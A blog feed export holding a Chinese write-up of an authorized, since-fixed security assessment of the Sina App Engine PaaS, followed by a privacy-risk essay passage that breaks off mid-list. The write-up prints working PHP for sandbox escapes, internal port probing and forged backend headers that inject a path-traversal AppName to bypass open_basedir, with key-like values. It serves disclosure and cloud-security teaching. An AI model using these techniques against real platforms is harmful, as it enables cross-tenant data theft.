80sec http://www.80sec.com Know it then hack it! Tue, 20 Dec 2011 08:10:25 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 从对SAE的一次授权安全评估浅谈云安全 http://www.80sec.com/sae-security.html http://www.80sec.com/sae-security.html#comments Tue, 20 Dec 2011 08:10:25 +0000 admin http://www.80sec.com/?p=321 EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2011-12-20
From: http://www.80sec.com/

[ 目录 ]
一 背景及描述
二 什么是云
三 什么是云安全
四 如何对云进行安全设计
五 对SAE的一次授权安全评估检测

一 背景及简述

由于国外的服务器访问较慢并且经常性的出现无法访问的情况，我们较早就与SAE合作将WooYun项目迁移至了较为稳定的SAE平台，后来与新浪SAE在安全方面也建立了合作关系，其中就包括此次安全评估测试。另外一方面，目前业界对云安全的讨论更多的都是在理论方面，很多的专家学者乃至安全研究人员和黑客都在讨论云安全，却很少有对实际的生产环境的云进行评估分析甚至入侵的案例，80sec也一直对云安全有自己的想法，但是缺乏实际的案例所以一直也没有相关的文档产出，我们在SAE对这些安全问题修复之后，经过SAE方面允许将此次对一个典型的paas云的评估过程公开，顺便提一些我们80sec在云安全方面的一些粗浅的想法，相关的一些详细安全问题也会被同步提交到乌云-漏洞报告平台上，说安全不如做安全：）

二 什么是云

我们理解的云是一种新的资源使用方式，包括存储，数据，计算，网络……等等，这种资源相比传统的资源来讲，更接近一种基础能源，需要多少就用多少，类似于基础设施里的水和电的这种弹性，按照用多少进行付费，到目前为止，我们都很难对云有一个精确的定义，我们站在安全的角度只能粗浅的将云分为：

私有云：为企业内部业务服务的，具有无限计算能力和无限存储能力的云服务；
公有云：为外部用户提供服务的，在计算能力和存储能力不限的基础上，可能会与公司核心资源一起以saas的形式提供给外部用户服务的云；

同样，按照云实际的表现形式和作用又可以分为iaas，paas，saas，不同类型的云是资源本质上的不同，下一层为上一层服务，iaas提供网络和系统层面上的资源细粒度划分，paas依赖于iaas可以做到将存储，计算，数据等资源开放给第三方开发者，而借助paas提供的平台，可以在之上实现各种各样的软件层面的saas结合公司核心资源以给用户提供服务；

三 什么是云安全

安全永远是对数据而言，安全的本质是数据的安全，包括可用，保密和不可篡改，安全上的一个挑战是云安全本质上改变了数据的处理方式，从传统的数据拥有者对安全负责变成数据处理者和数据拥有者同时对安全负责。
云安全带来的另外一个挑战是一个矛盾，对于使用者而言如果我要使用云，因为我可能会将敏感数据传到云上，我要先确保云是安全的，而如果我是一个云的建设者，我要对云安全负责，我得首先确认云里的数据处理和协作方式，而在数据规模和具体应用还不成熟的情况下，做到这一点会有难度，我无法保护一个威胁模型都不成熟的系统，所以目前一方面出现一个云安全先于云计算发展的局面，但是同时云安全因为云计算业务发展不够导致会处于一个理论和策略层面的情况；
不同的云，因为实际的业务目标和蕴含的数据不同，会有不同的安全威胁从而会有不同的云安全，譬如paas所需要考虑的东西和一个iaas需要考虑的安全会是完全不同的，同样私有云的安全目标和公有云的安全目标也会完全不同，依然是很久之前80sec提到的，不理解上下文的安全是没有意义的；

四 如何对云进行安全设计

我相信任何一个事物的安全性会由如下方面造成，它本身蕴含的价值，这种价值所吸引带来的风险，是否有考虑到这种风险的防护及实际的解决方案，解决方案是否得到正确的实现，正确实现解决方案后是否形成有效的体系进行管理和运维，任何一个环节的缺失都会带来不安全性；
对于云，我们相信没有统一的云安全，所以只能选择一个目前较为典型的例子paas来谈我们对云安全设计的浅显看法，我们将考虑如下几个维度：

a) 资产价值：我们需要了解到该业务核心的价值所在，不同价值的数据会导致不同的安全威胁，譬如对于paas来讲，我们就很不赞成将私服（你懂的），银行等系统运行于paas之上，它不适合你，而且高价值的资产引入将提高云的风险；

b) 安全风险：特定的资产会遭受不同的安全风险，一个涉及国家机密的网站所可能承受的安全风险和一个个人Blog必定是完全不同的，分析我们所可能承受的风险，譬如拒绝服务，用户数据被非法访问，对内部网络的渗透等等；

c) 威胁建模：根据云可能承受的风险以及会造成这些风险的途径，重点在于分析系统的体系结构，安全域以及各安全域的边界，并且建立威胁模型譬如在paas云平台和internet的边界方面需要考虑的包括外网的网络攻击，恶意扫描等，对于用户数据和平台数据边界间应该考虑恶意代码对平台数据，甚至因为paas多用户的特殊性，应该考虑用户数据间边界的威胁；在这之外还要考虑平台对内部数据中心的影响；

d) 安全策略：基于上述的威胁建模，我们可以针对各种威胁进行必要的安全策略以杜绝和弱化风险，譬如要求在paas云边界上部署防火墙，在平台和内部网络之间部署入侵检测及监控系统；对于平台和用户以及用户与用户之间要求做到安全隔离等等；

e) 技术控制：对于策略如何能够具体的落实到执行，是一件较难的事情，同时也是最重要的一部分工作，大多数的企业也最缺少对这块的技术评估，没有足够的技术支撑，安全策略也只是一纸空文；这部分基本应该包括安全基线，访问控制，异常监控

可以看到，我们的安全设计是以数据和风险驱动的安全设计，以新浪云SAE为例，我们可以将涉及的数据按照属性和安全等级分为若干安全区域，各安全区域内实现相应等级的安全控制，区域间的访问行为需要受到严格的监控和审计：

a) 新浪内部数据（位于新浪IDC内部，未授权对新浪内部收据的访问将导致危害）
b) SAE平台数据（平台支撑整个用户数据的安全，安全等级较高）
c) SAE用户数据（可以再细化为用户数据A，用户数据B）

这几个区域的属性完全不同，对于访问需要做不同访问控制，对于内部数据，应该是和平台本身进行完全隔离，这部分可以通过划分独立的网络来进行控制，理论上我们信任内部网络，但是如果平台足够重要我们可以一样将其来自内部的访问和请求进行隔离；对于平台数据和用户之间应该是完全隔离，这部分是基于主机和一些后台服务的，所以可以通过网络和主机上的沙盒进行控制；对于用户之间的数据，因为安全性一样需要隔离，这部分需要在应用层实现一套隔离机制；对于平台和外网之间的隔离，我们需要严格防御譬如拒绝服务ddos以及一些常见的应用漏洞；
这几个部分如果没有做好，就会导致安全问题，我们无论是实现还是评估都是从这几个部分来考虑；

五 对SAE的一次授权安全评估检测

我们的网站一直搭建在SAE平台上，无论是速度，稳定以及工作人员对问题的态度上都非常的不错，SAE之前和乌云有意展开一些合作包括对SAE的安全评估和检测，SAE安全防护很到位，对我们发现的问题都有过积极的反馈和修复，在得到SAE的允许之后这里我们将我们发现的问题做一些分享，相信对其他类似于paas的平台会有帮助

1 know it，了解我们的测试目标

按照我们对新浪云的粗略分析，数据会分为新浪内部数据，SAE平台数据和SAE用户数据，其中新浪内部数据主要是指IDC内部其他业务数据，平台数据包括平台的管理及运维以及相关的业务数据，用户数据主要是指用户上传至SAE的包括代码，数据库，存储等数据。按照我们的安全目标，这些数据之间应该相互隔离，不应该互相影响，不会被非法访问；
新浪对云的保护基本也分为几个方面，一方面是外部的防火墙实现sae与因特网的控制边界，在内部同样是使用了合适的ACL对内部数据进行了防护，我们非常关心的另外一方面也是paas所独有的一方面就是用户数据间的隔离和用户数据与云平台的隔离，这部分是最为复杂也是最为灵活的；SAE对用户数据间的隔离主要是不同用户间通过用户名和密码实现隔离，不同的应用之间通过access_key和secert_key来进行隔离，访问后端的数据库和存储等应用都必须提供access_key以及secert_key来进行；对于用户数据和平台之间的隔离主要包括所有资源的使用必须通过sae提供的接口进行，原生态的文件读写，网络请求都被禁止，而对于代码执行层，sae通过disable_function和open_basedir模拟了一个沙盒环境，以实现在执行态的沙盒保证用户无法对他资源之外的数据进行访问；
我们看到sae在这一块做的努力，我们也尝试对他进行了突破；

2 看看我们可以获得的资源

由于我们能够真正与sae及sae后端所蕴藏的丰富其他用户资源进行交互的，唯一的方式就是执行我们自己的代码，所以我们代码所处的环境和实际的限制对我们来说很重要，我们通过如下代码对系统进行了判断：


<?php

$exts=get_loaded_extensions();
$disables=ini_get("disable_functions");
$disables=explode(",",$disables);

$alls=get_defined_functions();

$myfun=$alls['user'];

for($i=0;$i<count($alls['internal']);$i++){
if(!in_array($alls['internal'][$i],$disables)){
$myfun[]=$alls['internal'][$i];
}
}

var_dump($myfun);

?>

这是所有我们代码可执行的范围，也就是我们所有可能进行的交互，可以看到基本已经知道的可以突破沙箱的函数和方法都做了限制；

3 分析我们的环境

同时我们可以看到sae提供了phpinfo函数支持，那么我们通过phpinfo就可以简单判断当前的环境了，我们需要关心如下选项：


Registered PHP Streams
apache2handler
Apache Environment

open_basedir
disable_functions

auto_prepend_file

这样我们大概了解了我们代码所处的运行环境，同时根据auto_prepend_file的提示我们知道在应用层sae做的一些事情，这里隐藏了太多的秘密包括后端服务的工作方式和sae制造的沙盒里可能有的一些空隙，毕竟这是跟我们的代码同一层所做的安全控制，而不是更底层，主要的包括网络请求的封装，后端资源访问的封装，而那个access_key和secert_key正是在这里起的作用；

4 攻击方式

我们的代码运行于一个open_basedir和disable_function环境中，这两个选项，正常情况下将我们的代码同文件系统以及操作系统隔离开来，使得我们处于一个受限的环境，同时由于在php这一层sae的代码优于我们的代码执行，所以在php代码层同样实现了一个沙箱，在这个沙箱内，我们与其他的任何资源的交互都会受到限制，譬如http请求和socks请求，而正常允许的连接譬如mysql，通过我们的测试，我们发现由于修改了底层的mysql代码，在sae代码执行环境里我们无法连接属于我们固有权限之外的任何数据，但是可以看到由于sae选择在应用层而不是更底层进行的沙箱，所以我们只要我们有可能选择到一些沙箱没有控制到的地方就可能绕过，同时如果沙箱本身实现得不好的话也可能导致产生问题。
先来看看沙箱是否可能漏洞的地方，我们可以简单的对允许使用的php函数进行一次遍历，发现了这么一个函数mb_send_mail并没有被禁用，80sec曾经提到要将mail函数禁用因为这将是php和底层系统进行交互的一个接口，而mb_send_mail同样只是对mail函数的一个封装，我们简单的测试之后证明的确可以利用该函数对底层系统进行读写，但是由于网络的一些原因我们得到了一个500错误，我们所需要的结果并没有如实的反馈给我们，但经过sae证实，该问题的确存在
另外，我们也观察到，sae支持的流非常多，但是真正被封装起来的其实只有一个http协议，封装的目的是对用户产生的请求能够进行控制，譬如限制访问的目的地址和对请求数量等做更精粒度的控制，而对于原生的譬如ftp协议并没有进行限制，这个时候其实我们可以利用这个做一个简单的内网端口扫描器：


echo(file_get_contents('ftp://127.0.0.1:22/111'));

由于sae对错误的处理偏向开发者太过有好，导致通过捕获错误，我们可以看到是否是网络不可达，端口未开放还是协议不匹配，这样我们甚至可以探测出sae与内部网络的隔离程度
ftp协议毕竟不是特别友好，而对于已经封装的http协议我们发现stream_wrapper_unregister和stream_wrapper_restore并没有禁用，于是通过这两个函数我们可以恢复原生的http请求，向所有我们想发起的地方发起http请求了：


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http"));

这只是对网络请求沙箱的一些突破，在实际的用户数据层，我们发现在后端用户是共用一些基本的服务的，譬如memcache，譬如mysql等，后端通过用户传递的access_key以及secert_key来识别用户，我们做了个很有意思的实验：


define( 'SAE_ACCESSKEY', 'm0lm3wyxjyo' );
define( 'SAE_SECRETKEY', '5d2dmz1xwyihjd2m3xzximw5wj30jix0djxl1c5i0iz5' );
define( 'SAE_MYSQL_HOST_M', 'w.rdc.sae.sina.com.cn' );
define( 'SAE_MYSQL_HOST_S', 'r.rdc.sae.sina.com.cn' );
define( 'SAE_MYSQL_PORT', 3307 );
define( 'SAE_MYSQL_USER', SAE_ACCESSKEY );
define( 'SAE_MYSQL_PASS', SAE_SECRETKEY );
define( 'SAE_MYSQL_DB', 'app_' . 'wscan' );

var_dump(mysql_connect('r.rdc.sae.sina.com.cn:3307','m0lm3wyxjyo','5d2m1d0wfffyihj2m3xximw5wj30jix0jxlxl05i0iz5'));

这个会提示

SAE_Warning: mysql_connect() [function.mysql-connect]: this app is not authorised in eval.php

似乎是底层的Mysql对连接的应用做了限制，不允许跨应用去连接数据库，但是我们知道除了在应用代码环境里可以去连接数据库，在SAE提供的面板里也是可以去进行数据库连接的，在控制面板里的实现即是通过access_key和secret_key在后台进行的连接，我们只要替换为我们获得的其他应用的相应key即可连接成功，这个沙箱似乎太简单了，还是没有做到应用只能访问到自己的数据这个原则，那么我们如何获得别人的access_key和secret_key呢，看看那个auto_prepend_file文件，这两个值是从HTTP请求里传递的，并且由于实现上的原因，这个内容在phpinfo里是直接可以看到的，上百度搜索一下sae，phpinfo吧……
到这里似乎我们可以了解到sae的一些机制和机制上的问题，但是都是用户之间的，我们很好奇为什么sae需要在http头里传递access_key和secert_key，这似乎比较难理解，在分析了sae的实现机制之后我们大概可以做如下理解，在前端接收到请求之后，会对请求做一些逻辑判断，譬如是否是有效的应用，应用资源是否超标等等，在做完有效性验证之后请求被转发到后端的执行层，执行环境所需要的一些数据譬如access_key和secert_key就是从这里传递到执行环境的，这里的好处是执行环境只负责执行，不用验证请求的合法性，任何应用的更改譬如禁用启用，增加删除不会影响到后端执行环境，但是这里就会有明显的问题，如果请求的合法性只在前端验证那么如果我们可以直接将请求转发到后端是可能影响到后端逻辑的正确性的，注意phpinfo里如下的信息：


DOCUMENT_ROOT /data1/www/htdocs
SERVER_ADMIN saesupport@sina.cn
SCRIPT_FILENAME /data1/www/htdocs/549/wscan/1/phpinfo.php

我们请求的是phpinfo.php，document_root是在/data1/www/htdocs，理论是上是无法映射到/data1/www/htdocs/549/wscan/1/phpinfo.php的，而且从这个路径我们推测，所有应用的执行代码都是处于/data1/www/htdocs/下面，所有的执行代码都是相同的用户身份运行的，因为一些原因sae并没有在设计上将所有用户的可执行代码做到隔离，隔离只是在执行层利用动态的映射和动态的限制来做的，这个机制是否存在问题呢，看如下精彩的代码：


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.com\r\nX-Forwarded-For: 61.135.165.180, 61.135.165.180\r\nAppName: webmanage\r\nAccessKey: ynz0jyo1k1\r\nSecretKey: 1zhwzm5l4yilzyj54xiim5ddywwzzzz342l5lk5\r\nAppHash: 928\r\nMysqlPort: 3307\r\nAppCookie: default_version=1;xhprof=;debug=1;\r\nConnection: close\r\nCookie: saeut=220.181.50.244.1321955938519836\r\nAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

我们利用之前突破http封装的方式实现了一个原生态的http请求，请求直接发往后端的可执行层代码，我们故意使用了别人的appname和apphash去请求一个phpinfo，结果发现正如我们的猜测，所有请求和请求的限制都是动态生成的，生成的原则就是基于appname和apphash等，譬如：


SCRIPT_FILENAME /data1/www/htdocs/549/wscan/1/phpinfo.php

就是基于请求的apphash和appname与DOCUMENT_ROOT一起决定请求的路径，从这种角度来讲，所有用户的资源更像是同一个站点下面的不同页面，理论上是可以获得其他用户资源的，我们尝试继续突破。既然请求路径是动态生成的，我们有理由相信open_basedir也是动态生成的，既然是动态生成的我们就可以进行一次史无前例的注射：

open_basedir格式为：/dir/1:/dir/2

如果我们能产生一段open_basedir为/dir/1:/:/dir/2就可以突破对文件系统的沙箱了，同时这个请求还必须合法，因为我们请求的文件资源会和这个路径保持一致，我们可以建立一个名字为/:/:/的目录，结合../对目录进行遍历，我们是可以同时满足open_basedir和SCRIPT_FILENAME的要求的，最后让我们构造一个如下的请求：


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.com\r\nX-Forwarded-For: 61.135.165.180, 61.135.165.180\r\nAppName: webmanage/1/:/:/../../../\r\nAccessKey: ynztttt1k1\r\nSecretKey: 1zhwzm5l4yzzzzyj54xiim5ddywwzill342l5lk5\r\nAppHash: 928\r\nMysqlPort: 3307\r\nAppCookie: default_version=1;xhprof=;debug=1;\r\nConnection: close\r\nCookie: saeut=220.181.50.244.1321955938519836\r\nAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

注意AppName: webmanage/1/:/:/../../../，这个时候webmanage下得所有请求都将是绕过了open_basedir的限制的，我们顺利的访问到了所有用户的代码资源，包括SAE平台执行环境的资源；
我们在获得了数据权限之后尝试对sae的系统环境进行了突破，也发现了一些问题，但是没有得到实质的突破，将来有机会会再次分享 ：）

5 总结

SAE在设计的时候就考虑了安全性，并且防护非常严密，在易用性和安全性中实现了一个优雅的平衡，但是我们也可以看到对于paas的设计来讲，由于需要允许用户的代码尽量友好高效的运行，所以很容易在一些安全策略实现的细节当中出现一些问题，作为paas应用上下文的特殊性，其他的paas厂商在实现和设计的时候更应该严格注意这些安全问题，避免给平台和用户造成安全损失。

]]> http://www.80sec.com/sae-security.html/feed 0 谁动了我的隐私 — 隐私风险初探 http://www.80sec.com/privacy-risk.html http://www.80sec.com/privacy-risk.html#comments Tue, 06 Dec 2011 06:03:54 +0000 admin http://www.80sec.com/?p=318 EMail: fenggou#80sec.com
Site: http://www.80sec.com
Date: 2011-12-6

[目录]
0×00 前言
0×01 隐私安全初探
0×02 “云”存储隐私风险
0×03 移动终端隐私风险
0×04 隐私威胁对抗
0×05 勺之终极奥义
0×06 结语

当你凝视着深渊，深渊也在凝视着你。 — 尼采

0×00 前言
这篇小文很早就有了想法，但由于自己的种种问题，未能完成，就这最近发生的一些事情，有了整理和反省的决心，决定一鼓作气完成他，给自己，给他人一些借鉴。

自从信息时代的爆发，各种服务扑天盖地袭来，人们越来越接受将自己的一切置于这个庞大、新奇、无所不能的互联网之上，各种服务技术已极快的速度更新换代、更多的生活支持，让人惊奇的同时也让人越来越依赖这个虚拟的世界。老一代的网民也许感触最深，就拿自己来说吧（当然我不是资深网民），email已经不知更新了几代，从最初的SinaMail，到163Mail邮箱再到现在的Gmail；个人信息展现平台，从个人主页，到博客，再到现在的微博；数码设备，从最初的网吧，到自己的第一台PC，到一屋子电脑、本子，再到各种智能化mobile设备；数码生活无时无刻的在改变，变的简单。有本书是这样说的：人类进步的过程，就是越来越不加思考，已最小的代价去做某件事。互联网真的让人进步了吗？在我看来，人类进步的过程倒更像是一个退化的过程。

0×01 隐私安全初探
有点扯远了，回到主题。在互联网让我们“进步”的同时，我们每个人的各种隐私开始逐渐的暴漏在这个平台之上，恐怖的是人们已经越来越信任以及依赖互联网，更恐怖的是我们已经不在可以很好的控制他们。在利益和不正常的目的趋使下，互联网的险恶不亚于现实社会。很多网民也许会认为我言过了，我只是想说，未见到，不代表其未发生，互联网隐私问题上，还是要多多保持唯心的态度，举些例子吧：

1）拖库风险
这个词语在几年前也许还较为陌生，但最近一两年开始，已经算是人尽皆知了，黑客入侵有价值的网络社区，down掉会员库，建立庞大的社会工程密码库，或者根据社区性质建立人际关系库，做个分类，技术人员类，站长类，设计类乃至公司管理高层类。。。
它的价值除了密码和人际关系外，还可以挖掘一些更有意思的东西，比如统计密码习惯，密码提示问题答案，生日，手机，真实姓名，身份证号码，常用IP，住址，IM，信用卡号信息等等。
总之，一份库的价值，不在于做到做不到，而在于想的想不到。

2）电子邮件风险
国内外有很多开放的电子邮件系统，其邮件转发与登陆IP提示机制均不完善，在加上用户密码的万年不变，导致邮件的自动转发，代收等劫持攻击变的难以防范与察觉（想让用户改密码，必须得让他们意识到自己帐户已经出现安全问题，但攻击者不会给你这个机会）。公司内部邮件系统也许有访问控制的保护，但依然阻止不了转发机制，即使做到了定期检测员工邮箱转发或者干脆杜绝此类行为，但你也应该意识到，拿到内网可以访问mail系统的某个节点也是轻而易举的事情。
转发监听只是邮件攻击的一个方面，你的邮件系统是否可以伪造发件人，直接利用员工的信任关系进行客户端攻击呢，想必这个代价更低效果更佳显著吧。

3）即时通信风险
IM即时通信软件给人们的交流带来了新的体验，人们越来越接受并且依赖这个方式，前几天出现的大面积msn盗号诈骗事件已经说明一切，遇到此类情况还是当面或者电话确认一下吧，不要因小失大。也不要把你的家人全都带到网上，因为你经历了互联网洗礼你的你可以识别这种欺诈，而你的家人未必。

4）电子商务风险
PS：这部分内容没有办法给出实际的证明，但相信无风不起浪，还是多保持保持唯心吧，你也可以直接跳过这部分内容，直接无视好了。
电子商务安全问题给用户带来的不必多说，今年甚至在早些时候某支付产品被大面积小额转帐事件已经表明在利益的引诱下什么事情都可能发生，法律已经组织不了他们。然而，现在还有针对电子商务更为猥琐的攻击，订单劫持，网络商城中的每笔订单未必是按照平台逻辑那样走下去，也许中间有那么几行代码，几个程序给终止掉，交给了其他物流及商品提供方，而用户和这个平台却浑然不知呢？

5）服务商风险
天下没有靠谱的服务提供商，或多或少都会存在一些不尽人意的地方，对安全理解方式的差异，都会在一些安全事件中成为决定性因素。服务商究竟会投入多少代价来保护用户的隐私，以及保护隐私的出发点真的是为了用户么？比如规范这个东西，服务商会用自己的方式确定资源的所属者，用规范来进行管理约束，但你是否有想过，这所谓的规范会把真正的所有者权益拒之门外？你们所谓的规范是否在起反面效果，被他人利用？
而服务商你们是否有所察觉，你们所掌握的大量用户隐私，是否是从你们内部问题而泄漏或者交易出去的？猎头模式也许就是个很好的例子吧。

黑客拿到用户隐私（比如邮箱，手机，IM，密码等）后，就会开始对目标的探索。其实现在的用户很聪明，应该是安全事件和新闻的功劳，从让人们知道不能轻易接陌生人传来的文件，到现在不要在多处使用统一密码，比如社区级，Email级，QQ级，电商/网银级等等，聪明的用户不用多说就会给自己的隐私设定多个安全等级，但这对大部分网民来说应该还要继续加油吧，笑～因为如果不是与互联网行业以及安全相关领域，还不能很好的做到这一点，即使是安全人员，也会犯很勺的错误，哭～

必须要承认的一点就是密码早就已经不是可靠的认证因素了（邮箱也快了），我们不提各种密码库这个最直接的方法，简单的转个弯：密码提示问题答案，密码保护邮箱，这两个基本等同于密码的东西，就算你的密码已经可以和达芬奇般的相媲美了，但这其他的关联因素你有考虑到么？

做为用户的你是否会如实的使用“我的生日是那天”，“我的父亲叫什么”，“我的大学叫什么”此类问题？你是否会在你键盘上很惬意的用键盘区域组合做为提示问题？你是否密码做到了独立，而密码提示问题、邮箱却没有？你是否被自己杂乱无章的密码保护邮箱关系搞晕？

而服务提供商是否想到了，用密码提示问题取回／重置密码的用户并非是真正的所有者在操作？自己的会员库是否已经在产业链中满天飞而自己还在夸夸其谈自己的安全？你是否会考虑到自己资源有效利用而不对用户进行有效的确认回收资源？你的隐私安全保障系统真的靠谱吗？用户合法认证后就不在考虑隐私安全问题？

想说的太多，做为用户和服务商对安全都有很多要反思的地方。一个被“专家”，“安全人员”一直推荐强大密码来保障安全的方法，都会因为自己和他人很多因素所导致的问题而变的不堪一击甚至毫无意义。

好了，该醒醒了，不要只拿软件生成的随机高强度密码来保护自己的隐私了。

0×02 “云”存储隐私风险
由于“云”时代的到来，用户的隐私更是被传递到了“天空”中的每一个角落，在用户还在尽力对抗传统隐私保护的同时，“云”所带来的隐私泄漏问题已经拉开序幕，而且较结果来说，“云”带来的隐患更为致命。

DropBox开辟了一个数据存储新的时代，使用户的数据保管，使用更加灵活与安全。曾经也有过类似产品，但由于“云”概念的推动，加上由于它的成功，使国内外更多打着“云”存储旗号的产品扑天盖地而来，更为迅速的占领PC，mobile，pad设备，一副势不可挡的架势，但扪心自问，你们真的准备好了吗？

当用户蜂拥而至时，是否考虑到了数据相互间访问控制问题，是否真的做到位了？
多平台的客户端，是否有仔细研究过他们的安全风险差异？

移动平台的用户可能更多时候会暴漏在公共网络或不安全的WIFI环境中，这些用户更容易使用移动日程，或即使备份联系人，短信，邮件内容等信息同步到“云”平台，这样与传统的文件存储截然不同，安全更是上升了一个等级，更是与用户个人隐私息息相关。

用户对于“云”的存储服务来说，照片、视频、文档等数据除了分享存储外，还有一个重要的需求就是备份。备份数据对于用户的意义是极为重要的，轻则为市面上少见的资源，重则个人、企业机密数据。这都源自我们对这个新生体验的信任，以及传统方式的怀疑，毕竟云确实很好保障了用户数据的可用性。黑客在传统隐私攻击结束后，利用掌握的用户资源，对可能存在的云服务在次进行扫荡，比如Dropbox，Evernote，Picasa，SAE，Icloud等各种云服务，相信那结果会另你我都意向不到，泄漏只是结果之一，还有更糟糕的结果就是篡改。我想，是时候好好整理我们七零八落的资源了。

吐槽一些个人对云存储隐私泄漏方面的担忧，不管它是多么的神秘，多么的强大，也逃不过“木桶”命运，它始终都会有块短板在那里，也许是整个认证流程机制，也许是传输机制，也许是用户隔离机制，也许是服务器层面安全，也许是应用层安全问题。“云”至今还是一个起步摸索过程，还有很多未遇到的问题，所以很多解决方案也略显幼稚，旧问题还未解决，新挑战已经到来，要如何面对？

详细的云安全会在剑心近期的一篇文章中详细解说，拭目以待。

0×03 移动终端隐私风险
随身携带你的隐私跑来跑去听起来是见很酷的事情，放在哪里都不如放在身边安心，加上现在智能手机的牛逼化，它已然成为日常生活中必不可少的设备，真的有那么一天移动设备消失了，也许我们连如何出行都会忘记。人类进步的另个体现就是越来越便捷的去做事情，曾经要回到家里，坐到电脑面前来处理的事情现在很多都可以随时随地的在移动终端上完成，这是我认为移动终端成为未来主导趋势的主要原因。

由于国内的优良风气，移动设备不越狱，不root，不装一堆的破解软件，不刷机似乎都是很逊的事情。但不要忘记，所谓的越狱，不过是对你设备上的系统进行localroot的操作，我们将手机系统的安全机制主动打破。历史上就出过利用IOS上安装openssh默认密码盗窃用户短信，以及android上电子市场恶意应用收集用户设备信息，恶意应用吸费等安全先例。我自己在闲暇时间也在研究比如通过改掉用户通讯录达到欺骗；以及短信在发送接收时是否可以先进行替换、截取和阻断等操作，威胁目前的手机验证机制；甚至电话进来时我是否可以获取触发信号，启动个小录音程序，然后发给远方的某个孩纸。。。做这些是因为窃取用户信息等攻击只能说明目前移动终端的攻击还不成熟，黑客还在摸索阶段，但做为安全人员，我们不得不先行一步，预知可能会出现的攻击。
（很多灵感来自目前的帐户手机验证机制，这个机制真的安全了吗？智能手机上我是抱怀疑态度的。）

LBS的泛滥让人们找到了新的乐趣，主动将地理位置和活动信息等进行分享，不说已经处于线上的信息，单单是这个功能就让人毛骨悚然。定位信息攻击现在还没有成型，但可以展望一下它会给我们带来的麻烦。各种移动设备会通过GPS，WIFI，3G，A－GPS等手段获取用户当前的地理位置信息，在我了解的国内某款带有定位功能的应用，它会将你的地理位置信息已POST方式发送包括你地理信息的数据流传回服务器，然后返回同样是数据流形式的数据文件，程序展现你附近的好友，整个流程都是明文HTTP的。假如数据传输格式已透明，我将北京按100平米大小的区域在地图上切块，然后得到经纬度信息对全北京的经纬度范围进行遍历，那我可以知道每个使用此款应用的人所处位置，自然想遍历某一个人的位置也有了可能。当我想一些流氓推广也许会涉足的更早一些：）

谁会保证这种服务商的应用和接口安全？谁又会保证我们越狱，root过的设备不存在恶意收集地理信息的风险？谁又会保证我们的通话、短信是真实的？现在想的应该都是占有市场与捞钱吧。。。

越是与我们生活贴近的东西，越要提高警惕。

0×04 隐私威胁对抗
隐私安全的本质就是两个对象相互信任问题，从用户角度：我相信自己的习惯，我也相信服务商的努力；从服务商角度：我信任自己目前的安全保障手段，我也信任用户会重视好自己的隐私保护。一旦用户和服务商乃至他们自己出现相互信任的情况，那隐私安全问题就会接踵而来，怀疑才是安全进步的根本。

如果想最大化的保障自己的隐私，不管是新步入互联网的新兵，还是在网上摸爬滚打了几年的老兵，都要开始对自己一系列的应用帐号体系进行威胁建模。可以试想自己所有的认证都是不安全的，那么每个认证节点的沦陷它都会导致什么结果？会不会像多米诺骨牌一样引起连锁反应，导致兵败如山倒的局势。

a）对于用户：
我想，首先要做到的就是认证因素的独立，密码和提示答案根据服务的唯一化；其次是认证因素的隐形化，比如关键email，不要被搜索引擎录入，最好的办法是有专门做保护的邮箱，而不做他用，密码与提示答案不要有可猜测的可能性；然后是认证因素异常报警，不管我们如何做，总会有大意的地方被人利用，那是否可以做到异常的及时发现，即使做不到，那也尽量定期检查吧，最大化减少损失；最后是认证恢复因素相互之间关系的清晰合理化，保护链是否有脆弱的节点。

b）对于服务商：
隐私保护的第一道门—密码，还是要帮用户把把关的，哪怕是做个弱密码的警告提示；提示问题答案，我见过好多不允许自定义问题的产品，这样可以减少程序逻辑，减少了由输入带来的诸多不可预测因素，但作为服务商，至少给用户一个选择的权利吧。。。；密码保护邮箱这里万万不可发送明文密码给用户，因为一来让黑客知道你的库是明文的，二来黑客拿到密码而不改的话用户是很难发现自己帐户异常的，最后每次密码重置将旧密码做个归档，日后做个身份判定依据也是不错的办法，当然，用户隐私你掌握的越多越直接，你的担子也就越重。

以上提到的服务商其实都已实现，那么在这个问题依旧的时代仅这么做还是解决不了问题的。该有些变革的东西拿来提一提了。
1）新认证因素
腾讯已经做到了这个变革，废除邮箱取回密码的形式，取而代之的是手机身份确认，和三重密码提示问题。费掉邮箱这个不稳定认真因素真的是大快人心，虽然代价有些大，但效果说明一切的，不少安全人员也把QQ的安全等级与Gmail划等号，腾讯的做法还是非常值得现在互联网厂商所学习的。

2）IP
这个还是要提到腾讯的案例，异地保护机制在很多人眼中是个费力不讨好的功能，很多在外地工作的朋友回到家上QQ就出现了诸多尴尬，一些同事出差也因此闹过笑话，从产品角度用户感受来讲，这个功能还有很大的提升空间，但从安全角度来讲，这是对用户负责的表现。

3）行为
之前做过一些用户异常分析，黑客和用户所有者对待同一资源时有很多不同，举例来说，你经常登陆自己的帐号，那你会很少用到密码取回功能；你也很少做出在出差的时候对密码进行修改操作；你很少对自己的帐户做出连续的错误登陆与错误密码取回操作；看好“很少”这个字眼，因为总有那么一些用户，那么一些情况会打破这种常规，服务商会选择多数用户的行为特征，那最后那一小撮用户可能就会被钻了这个空子成为最大的受害群体，这是一个挑战，也许永远不会两全。

4）双因素认证
这个在游戏领域进步和推广蛮快的，但做到登陆这一层我感觉还不够，还要继续融入到后面的用户其他关键修改查看等操作上，毕竟还是不能完全信任认证这个流程，Google这里做的就不错，可以借鉴。你的认证也许可以被绕过或者劫持，另一些头疼的逻辑问题也会导致认证的无力，比如下面要提到的平行权限。另外，我们也要相信，双因素保护并不是终结，而是个新的开始，不要被经验所束缚。

5）平行权限
